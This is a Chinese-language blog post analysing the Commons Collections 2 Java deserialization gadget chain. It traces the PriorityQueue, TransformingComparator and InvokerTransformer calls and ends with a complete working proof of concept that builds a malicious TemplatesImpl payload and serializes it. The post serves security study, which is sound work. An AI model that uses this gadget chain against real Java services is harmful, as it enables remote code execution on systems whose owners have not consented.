CC2

S1naG0u Lv2

本文分析了Commons Collections 2链的利用原理,相比CC4链更加简洁,直接使用InvokerTransformer执行TemplatesImpl.newTransformer()方法,通过PriorityQueue的siftDownUsingComparator触发利用链。

危险方法分析

同CC4几乎一样

CC4是采用了chainedTransformer+TrAXFilter+TransformingComparator+InstantiateTransformer来执行TemplatesImpl.newTransformer()

利用链是

而CC2是直接使用InvokerTransformer()执行TemplatesImpl.newTransformer()

也就是

少去了构造数组传递的过程链子更简洁一点

现在的问题就是从哪里将TemplatesImpl传给InvokerTransformer

利用链构造

依旧动调./,发现在此处将一个参数传入并执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

comparator.compare((E) c, (E) queue[right])处传入了一个c

再去看TransformingComparator.compare()

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

此前传入的c即为obj1

向前执行到InvokerTransformer.transform()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' does not exist");
} catch (final IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' cannot be accessed");
} catch (final InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' threw an exception", ex);
}
}

此处的input即是上面传入的obj1所以可以说此处的input==c

回看c的来源

1
2
3
4
5
6
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;

查看PriorityQueue.add()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

通过add()方法可以将值添加到队列,并且使size的值+1,如果add俩次刚刚好可以满足我们之前CC4size需要大于等于2的判断,同时add的值也刚刚好传入了quene[]数组中,而我们刚刚好需要的就是quene[]数组中含有TemplatesImpl

所以我们可以通过add()方法传入俩次构造好的TemplatesImpl即可将TemplatesImpl传给InvokeTransformer来执行危险方法

此时又涉及到一个问题,再add时也会调用siftUp()->siftUpUsingComparator()触发compare()方法导致代码提前执行

和之前URLDNS的思路类似我们可以先传入一个无用参数,到最后再反射修改为我们需要的参数

至此所有问题都得到了解决

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(templates);

Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformer = transformingComparatorClass.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,newTransformer);


Serialize(priorityQueue);
UnSerialize("CC2.bin");
}
}

补充说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

此处是进行了一个二分查找,所以在add时其实只需要在第一次add时加入TemplatesImpl即可

  • 标题: CC2
  • 作者: S1naG0u
  • 创建于 : 2025-03-04 17:43:36
  • 更新于 : 2025-08-12 17:22:18
  • 链接: https://s1nag0u.github.io/2025/03/04/CC2/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。